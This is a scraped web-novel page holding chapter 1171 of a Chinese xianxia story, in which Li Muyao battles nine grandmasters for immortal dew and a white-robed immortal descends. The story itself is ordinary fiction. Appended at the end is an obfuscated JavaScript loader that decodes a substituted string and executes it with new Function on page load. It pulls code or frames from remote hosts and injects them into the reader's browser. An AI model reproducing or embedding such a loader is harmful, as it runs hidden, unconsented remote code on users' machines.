首页
第一千一百七十一章 仙人
返回
关灯 护眼:关 字号:小

第一千一百七十一章 仙人

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    此言一出,山顶上静了下来,只余火把在夜风吹动下发出的毕剥之声。
    那赤膊的北莽宗师回过头来,用略显僵硬的大乾话说道:“李慕曜,你比草原上最狂妄的战士还要狂妄!”
    “仙露是仙人赐给天下人的,大乾武林都不能独吞,你凭什么要全拿去!”
    李慕曜抬起手中长剑,横在身前,手指轻抚剑身,淡淡道:“就凭我手中这把秋水剑。”
    白发老道眉头紧皱:“李公子说笑了,我等俱已明言,不敢与公子争夺仙露。”
    “稍后仙露降临,公子任取一滴,何必非要赶尽杀绝?”
    白眉老僧双掌合十:“阿弥陀佛,李施主此言贪念太盛,一滴仙露便足够施主冲击先天,登临武道绝颠。”
    “施主莫非要为了那几滴无用的仙露,而与天下人为敌么?”
    李慕曜淡淡道:“几位还代表不了天下人,废话少说,动手吧。”
    妖艳女子皱眉道:“公子何故如此?在奴家心里,公子早就是天下第一宗师了,但想要以寡敌众,只怕还是力有未逮。”
    一旁的阴鸷老者忽然嘿嘿笑道:“李小友这话我喜欢,仙露乃武道至宝,若非老夫实力不济,早就想全都夺来,钻研其中奥妙了。”
    “小友宗门早已覆灭,不若加入我圣教,老夫助你夺得仙露,下一任教主之位也是你的,如何?”
    李慕曜瞥了他一眼,冷冷道:“道不同,不相为谋,你辱我师门,今夜就不要走了。”
    阴鸷老者脸色一变,冷哼一声,不再言语。
    赤膊大汉从背后取下一柄大刀,喝道:“诸位,此人已经疯了,还有一个时辰仙露就要降临,我们先联手杀了他,再分仙露!”
    妖艳妇人眸中露出几分痛惜之色,从腰间取下一双苗刀,叹了一口气:“奴家本欲请公子往妙月教做客,现在看来,只是奴家一厢情愿。”
    白发老道拔出长剑,其他宗师亦拔刀取剑,运转真气,隐隐有刀光剑气闪动吞吐,耀人眼目。
    唯有白眉老僧仍想劝李慕曜迷途知返,宣了一声佛号:“阿弥陀佛,老衲素知李施主深怀仁慈之念,曾以一人之身阻挡北莽千余狼骑,拯救天下苍生。”
    “施主今日取一滴仙露离去,便可坐实天下第一宗师之名,日后冲击先天,成就一段武林神话,岂不美哉?”
    “施主何必陷入魔障,因贪念而误了自身,与天下宗师为敌?”
    李慕曜淡淡道:“怀悲大师不必再劝了,李某对诸位并无敌意。”
    “只是武道之争,不得不如此,口舌已经无用,唯有刀剑才能说话,请赐教。”
    白眉老僧长叹一声,那赤膊大汉已经不耐烦了,脚下重重一蹬地,擎起大刀,冲了上去。
    他喝道:“你们大乾武林就是规矩多,放在草原上,像这种不知天高地厚的狼崽子,早就被乱刀砍死了!”
    另外八大宗师也不再留手,齐齐举起兵刃,运转功法,各色真气闪耀,身形腾挪,攻向李慕曜。
    李慕曜面对九大宗师围攻,神情平静如初,甚至抽出空来望了一眼人群中的宁儿,轻轻摇了摇头,让她不要插手此战。
    旁人看不懂李慕曜的眼神,但宁儿看一眼就知道他心中所想,慢慢放下了已经摸到剑柄的手。
    她终究还是放不下李慕曜,但也不愿违背李慕曜的意思。
    不过她不会坐视李慕曜死在九大宗师手中,一旦李慕曜出现危险,无论李慕曜愿不愿意,她都会出手,哪怕是死在这座望帝山上。
    李慕曜收回眼神,脚下一点,轻若无物,挺剑迎了上去。
    众人目不转睛地看着这一场宗师大战,望帝山上没有一丝人声,只有兵刃相撞的金铁交击之声和真气冲激的嗤嗤声响。
    这些大派的门主、长老、弟子终于知道,为何九大宗师都不愿与李慕曜争夺仙露,为何这位玉山公子被人称为天下第一宗师。
    九大宗师皆是运转真气,或如烈火,或似寒冰,或凝金刃,或卷阴风,加持于兵刃之上,缭绕于双掌之间,声势浩大,气势雄浑。
    这便是宗师的标志,武功臻至化境,自如运用真气,刚柔相济,阴阳浑然。
    九大宗师皆已半步脱离凡人,只待晋阶先天,便是真正的陆地神仙,一人镇国,天下无双。
    李慕曜和九大宗师截然不同,他浑身不见半分真气外露,剑刃上也没有剑芒吞吐,身如风中落叶,在九大宗师的兵刃拳掌间飘动来去,似乎下一刻就会被撕碎。
    但李慕曜每一剑刺出,都落在九大宗师招式的薄弱之处。
    虽然没有剑芒外露,但这柄秋水一般的薄薄长剑,依旧抵住了九大宗师手中的神兵,刺破真气,逼得他们狼狈不堪,只能回防。
    那些从未见过李慕曜与人交手的武者,终于明白为何江湖传言李慕曜当年坠崖后获得了仙人遗藏,修炼的是仙家功法。
    这位名动天下的翩翩公子一举一动间尽显潇洒,脚下一点就飘出数丈之远,胜过世间所有轻功,万花丛中过,片叶不沾身。
    但众人看得出来,李慕曜显然也颇为忌惮九大宗师,不敢硬接他们的刀气剑芒、拳风掌力,采取游斗之法,处处躲避。
    即便如此,李慕曜以一己之力挡住九大宗师围攻而不落下风,天下第一的名号也无人可以夺去。
    一刻钟下来,山顶上真气纵横,狂风呼啸,九大宗师都使出了压箱底的武功,却奈何不了李慕曜,越发心惊。
    忽然,李慕曜窥得一个破绽,右手长剑荡开赤膊大汉的大刀,欺身而上,左手拍向赤膊大汉的右肩。
    赤膊大汉目中厉色一闪,鼓荡真气,喷涌而出,在体表凝聚一层真气护罩,护住全身,并反手挥刀,砍向李慕曜脖颈。
    这是他故意露出来的破绽,李慕曜屠戮北莽千余狼骑,致使北莽苦心谋划已久的计策成空,空耗国力,一蹶不振,北莽上下对他恨之入骨。
    赤膊大汉就算得不到仙露,也要取李慕曜性命,告慰那场大战中所有死去的北莽将士。
    反正李慕曜不修真气,不炼拳脚,所仗者不过手中秋水剑而已。
    受他一掌最多重伤,又不是丹田心口等处要害,对草原上的汉子来说,就如被小狼咬了一口,眉头都不会皱一下。
    李慕曜手掌轻飘飘地拍到赤膊大汉右肩,忽然腾起一层薄薄的火焰,贴在看似坚韧的真气护罩上,竟没有遇到丝毫阻碍。
    火焰烧穿护罩,落在赤膊大汉身上,如火遇干草,腾地燃烧起来,将赤膊大汉烧成了一个火人。
    与此同时,李慕曜好似脑后长眼,身形一偏,险之又险地避开赤膊大汉挥来的长刀,脚下一点,飘然退去。
    赤膊大汉遭烈火焚身,急运功法,真气从周身三万六千个毛孔中喷出,想要吹灭烈火,但却无济于事。
    他发出声声惨叫,抛开大刀,倒在地上,翻滚了几下,大火越烧越旺。
    赤膊大汉渐渐没了声息,化作一堆灰烬,竟连骨骸都没有留下。
    另外八大宗师大吃一惊,连忙退开,看着地上赤膊大汉所化的灰烬,脸色铁青。
    阴鸷老者喃喃道:“这是何种真气?凝聚出来的火焰竟然如此暴烈,连宗师都触之即亡,我们又该如何抵挡?”
    白发老道神情凝重道:“这不是真气凝聚,这是真正的火焰!”
    “我们都小瞧了这位玉山公子,他最擅长的不是剑法,而是掌法。”
    “凭空凝火,神乎其技,这已经摸到了呼风唤雨、驱火掣电的边,这是传说中仙人的境界!”
    几大宗师听闻此言,心中巨震,周围观战众人更是满脸震撼之色,呆呆地看着李慕曜。
    李慕曜神情如常,垂下长剑,淡淡道:“洞阳道长过奖了,我远远称不上仙人,只是略懂一些仙术而已。”
    “我与诸位只是武道之争,没有私仇私怨。”
    “诸位现在罢手,离开望帝山,让出仙露,还可保全性命,否则休怪我剑下无情。”
    八大宗师神情变幻不定,李慕曜凭空凝火,生生将一个闻名天下的宗师烧成了灰烬,委实让人震惊,自然心生惧意。
    但沉默过后,却没有一人选择退走。
    李慕曜眉头一皱,看向白眉老僧:“怀悲大师,我素来敬重你救济苍生,除恶斩邪,乃是武林中至正至善之人,你当真不退?”
    白发老僧长叹一声,双掌合十:“阿弥陀佛,正如施主所言,此乃武道之争,与正邪无关。”
    “老衲也想取一滴仙露,冲击先天,延寿长生,继续钻研佛法妙理,救助世人脱离苦海。”
    “施主如若肯施舍一滴仙露,老衲即刻罢手,如何?”
    李慕曜淡淡道:“大师既然不退,那就手底下见真章罢。”
    那黄发番子忽然冷笑一声,用生硬的大乾话说道:“你们不要被他骗了!”
    “仙家法术哪里是那么容易施展的,他只要多打上几掌,把我们全杀光了,仙露自然是他的。”
    “但他却主动停手,劝我们罢战,分明是没有把握把我们全杀了,才虚张声势。”
    “那火焰掌法定是代价极大,他也不能施展几次,我们一起上,他绝不是对手!”
    几名宗师露出意动之色,黄发番子忽然大喝一声,举起手中奇门兵刃,第一个攻了上去。
    其他宗师见状,想起那一个个服下仙露后晋阶先天的武林神话,心中一阵火热,盖过了对李慕曜的恐惧,一齐冲了上去。
    李慕曜目中寒光一闪,举起长剑,不退反进,直奔黄发番子而去。
    黄发番子目中闪过一丝惧意,但却咬牙挺上,没有后退,口中狂呼道:“诸位助我!不能被他各个击破,否则我们今日都要死在这望帝山上!”
    几人都是历经无数比武厮杀,方才成就宗师,岂能不明白这个道理。
    八大宗师一时间各展手段,真气鼓荡,互相照应,不露破绽,让李慕曜没有贴身施展掌法的机会。
    李慕曜心中一沉,那黄发番子说中了,施展火焰掌法代价极大,而且还不能如真气一般离开身体,或是依附在兵刃之上,必须近身才能用出。
    现在八大宗师越发谨慎,李慕曜只能耐下心来,施展身法与八人周旋,慢慢寻找机会。
    而八大宗师忌惮李慕曜那能将宗师焚灭的烈火,攻势也不敢太猛,以免露出破绽,步赤膊大汉的后尘,招招小心,处处谨慎,谨守门户。
    但久守必失,八大宗师过去从未联手对敌,甚至彼此修炼功法都有冲突,互有恩怨,无法如战阵上的军中同袍那般默契,岂会毫无破绽。
    李慕曜窥得机会,一剑荡开妖艳女子劈来的苗刀,刺入妖艳女子的咽喉。
    妖艳女子圆睁着一双美目,脸上神情凝固,软软倒了下去。
    李慕曜神情冷厉,没有半分怜香惜玉之意,甩去剑上血珠,转身迎向剩下的七大宗师。
    妖艳女子过于防备他的火焰掌法,却忘了他的剑术同样无比犀利,冠绝江湖。
    李慕曜接下来又觑得机会,打出两记火焰掌,刺出一剑,杀了黄发番子、西海高手和天剑山庄庄主。
    天下十大宗师,一战去其半,只剩下李慕曜、阴鸷老者、怀悲大师、洞阳道人和另一名出自武林世家的宗师。
    四方虽有宗师,但天下最厉害的武者,永远出自大乾武林。
    四人守得越发小心,不露破绽,李慕曜不敢随意打出火焰掌法,双方陷入了僵持之中。
    但距离仙露降下已经越来越近了,李慕曜心中升起一丝焦躁之意。
    若不能提前击败四大宗师,仙露降下时,哪怕只是被抢走一滴,李慕曜也无法接受。
    仙露一百六十年才降下一次,这是李慕曜此生仅有的机会。
    他要把所有仙露全都拿走,才能尽量提升修为,寻找那一丝冲击仙人境界的机会。
    他不甘心只做一个先天武者,人人敬仰的武林神话,在他眼中只如粪土。
    李慕曜眼神一厉,忽然脚下一点,身如鬼魅,退后数丈,避开众人攻势。
    他横举秋水剑,咬破舌尖,喷出一大口精血,落在剑身之上,面色登时变得苍白起来。
    人群中的宁儿看到此幕,心中一痛,施展轻功,越众而出,奔向李慕曜。
    “曜哥,我来助你!”
    “回去,不要让我分心!”
    李慕曜厉喝一声,严厉地瞪了宁儿一眼。
    宁儿浑身一震,看到李慕曜眼中的决绝之色,两行清泪缓缓滑落,但还是依言而行,默默退后。
    李慕曜回过头来,左手并成剑指,轻轻拂过剑身。
    他喷出的精血落在秋水剑上,凝而不散,此刻与李慕曜剑指一触,化作一层寸许厚的金芒,如同其他宗师运转真气一样,裹住长剑。
    李慕曜放下左手,缓缓举起秋水剑,苍白的脸上双目迎着金芒,璀璨生辉,脚下一点,冲了上去。
    四大宗师神情无比凝重,但也知道此战已经是不死不休,没有退路,只得迎上前来,鼓荡真气,使出压箱底的武功。
    李慕曜却不似之前那般处处躲闪,手腕一抖,秋水剑直直迎了上去,就如刚刚学会用剑的少年剑客一般,直刺横斩,竖劈上挑,甚至不能称之为剑法。
    但就是这样平平无奇的几剑,落在四大宗师裹着真气的兵刃拳脚之上,却是摧枯拉朽,剑挡剑断,刀迎刀裂,掌触掌分。
    真气在金芒面前一触即溃,四大宗师的兵刃齐齐断裂,怀悲大师右手手掌被削去一半,四指齐落。
    四人神情大变,李慕曜乘胜追击,脚下一点,逼至阴鸷老者身前,一剑刺出,快若电闪,贯穿咽喉。
    李慕曜拔剑回身,阴鸷老者死不瞑目,扑倒在地。
    李慕曜看向剩下的三大宗师,缓步而行,冷冷道:“三位真想死在这望帝山上么?”
    “看在三位都是大乾武者,也曾抵御四方侵袭的份上,我再给三位最后一个机会。”
    “现在罢手,还可退去,如若不然,剑下无存!”
    山顶一片死寂,三大宗师面面相觑,怀悲大师看着断开的手掌,苦笑一声,左手真气一放,将地上半截手掌摄了过来。
    他单手作揖:“阿弥陀佛,多谢李施主手下留情,老衲今日方知天外有天,人外有人,再不敢与施主为敌。”
    洞阳道人轻叹一声,放下手中断剑,打了个稽首:“贫道愿将所有仙露让给李公子。”
    那武林世家的宗师还有些犹豫,但在李慕曜锐利的眼神之下,悻悻放下断去的兵刃:“何某谢过玉山公子饶命之恩。”
    李慕曜心中暗暗松了一口气,放下长剑,淡淡道:“那便请三位……”
    轰隆!
    话音未落,天上忽然降下一声霹雳,压过了所有声响。
    忽有寒风东来,呼啸而过,掠过山顶,吹动李慕曜的衣衫,猎猎作响。
    李慕曜一怔,抬头望去,三大宗师和山上山下众人也一起仰头看去。
    今夜原本天高云淡,月明星繁,此时却是风起云涌,天地变色。
    狂风吹过大地,乌云从四面八方飘来,掩去圆月,雷声轰鸣,天一下子阴了下来。
    李慕曜神情一变,历次降下仙露,都是在月圆晴朗之夜,天为何突然阴了?仙露还会按时降下么?
    三名宗师愣住了,那何姓武者目中隐隐闪过一丝讥嘲之意,苍天有眼,不让那李慕曜独吞仙露。
    观战众人窃窃私语,议论纷纷。
    “天怎么突然阴了?”
    “历次降下仙露,从未出现过这种情况,莫非是上天见玉山公子欲独吞仙露,降下天罚?”
    “你不想活了?竟敢妄议宗师……”
    宁儿眼中泛起担忧,轻身来到李慕曜身边,搀住他的手臂,低声道:“曜哥,你没事……”
    轰隆!
    又是一道天雷,打断了宁儿的话。
    天空忽然裂开一道口子,天地间霎时刮起无尽狂风,吹熄了大半火把,飞沙走石,望帝山顶一下子变得昏暗下来。
    但在场的至少也是顶尖武者,夜间视物不是难事,都是大惊失色。
    有人发一声喊,往山下奔去,口中狂呼道:“天裂了,天要塌了!”
    更多武者往山下跑去,口中乱喊:“玉山公子要独吞仙露,老天爷发怒了,降下天罚……”
    山顶陷入了一场大乱,三名宗师都转身往山下逃去,只有李慕曜站在原地不动,怔怔地望着天空中的裂缝。
    宁儿心惊胆战,想要拉着李慕曜逃走,但李慕曜纹丝不动,双脚仿佛钉在了地上。
    宁儿紧咬贝齿,对李慕曜的担心还是压过了对天裂的恐惧。
    他紧紧抱住李慕曜的手臂,清泪滑落,喃喃道:“曜哥,就是死,我也要陪着你。”
    忽然,一种无形的力量弥漫开来,浩瀚而又磅礴,天地瞬间安静下来。
    雷电消弭,狂风止息,乌云凝固,就连在风中摇摆的火把、被狂风席卷的尘土,都停顿在空中。
    奔逃的三名宗师和绝顶武者、大派子弟如负千斤重物,再难迈步,停在原地,脸色齐变,战战兢兢。
    李慕曜挺直如松的身躯慢慢弯了下来,宁儿只觉身上心中都背负着一座高山,娇躯一颤,就要跪倒在地。
    李慕曜反手环住宁儿的腰,两人紧紧贴在一起,互为倚靠,稳住身形。
    一道人影自天空裂缝中飞出,抬袖一拂,漫天乌云消散。
    皎洁月光洒下,落在此人身上,白衣胜雪,英俊无俦,出尘脱俗。
    李慕曜目中猛然绽出光彩,白衣仙人降下身形,落至望帝山顶,悬于空中,那股镇压一切的力量忽然消散。
    但已经没有武者再逃走,众人望着从天而降的白衣仙人,神情呆滞,那何姓宗师忽然跪倒在地,大礼参拜:“拜见仙人!”
    众人忽然醒悟过来,或是跪倒在地,或是深深拜下,山顶充满了纷乱的喊声。
    “小人拜见仙人!”
    “求仙人赐下仙露,我吴家愿给仙人立像祭拜!”
    “世上真有仙人!仙人在上,受我一拜……”
    李慕曜一直在苦苦追寻仙人的境界,此刻看到白衣仙人,却忘了说话。
    白衣仙人眉头一皱,那股无形力量再度出现,镇压一切,山顶上立刻安静下来。
    白衣仙人目光扫过一圈,落在始终一言不发的李慕曜身上,目中精芒一闪,落到他的身前。
    笼罩着李慕曜和宁儿的无形力量消散一空,宁儿看着眼前的白衣仙人,忽然生出一种自惭形秽之感,缩了缩身子。
    李慕曜忽然深吸一口气,松开环住宁儿的手,向白衣仙人深深一拜:“晚辈李慕曜,拜见前辈!”
    白衣仙人眉毛一挑,笑道:“他们都称我为仙人,为何你独称我为前辈?”
    李慕曜抬起头来,一字一句道:“他们当前辈是仙人,但晚辈知道,世间从无仙人,只有修仙者。”
    “前辈是修仙者,而晚辈……是天下最后一个修仙者!”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o4n6nwm3oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/Oo2K2D^sOY/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"Oo2K2D^sOY"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q/f/}Ko}j(8}vY8Oo2K2D^sOY"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();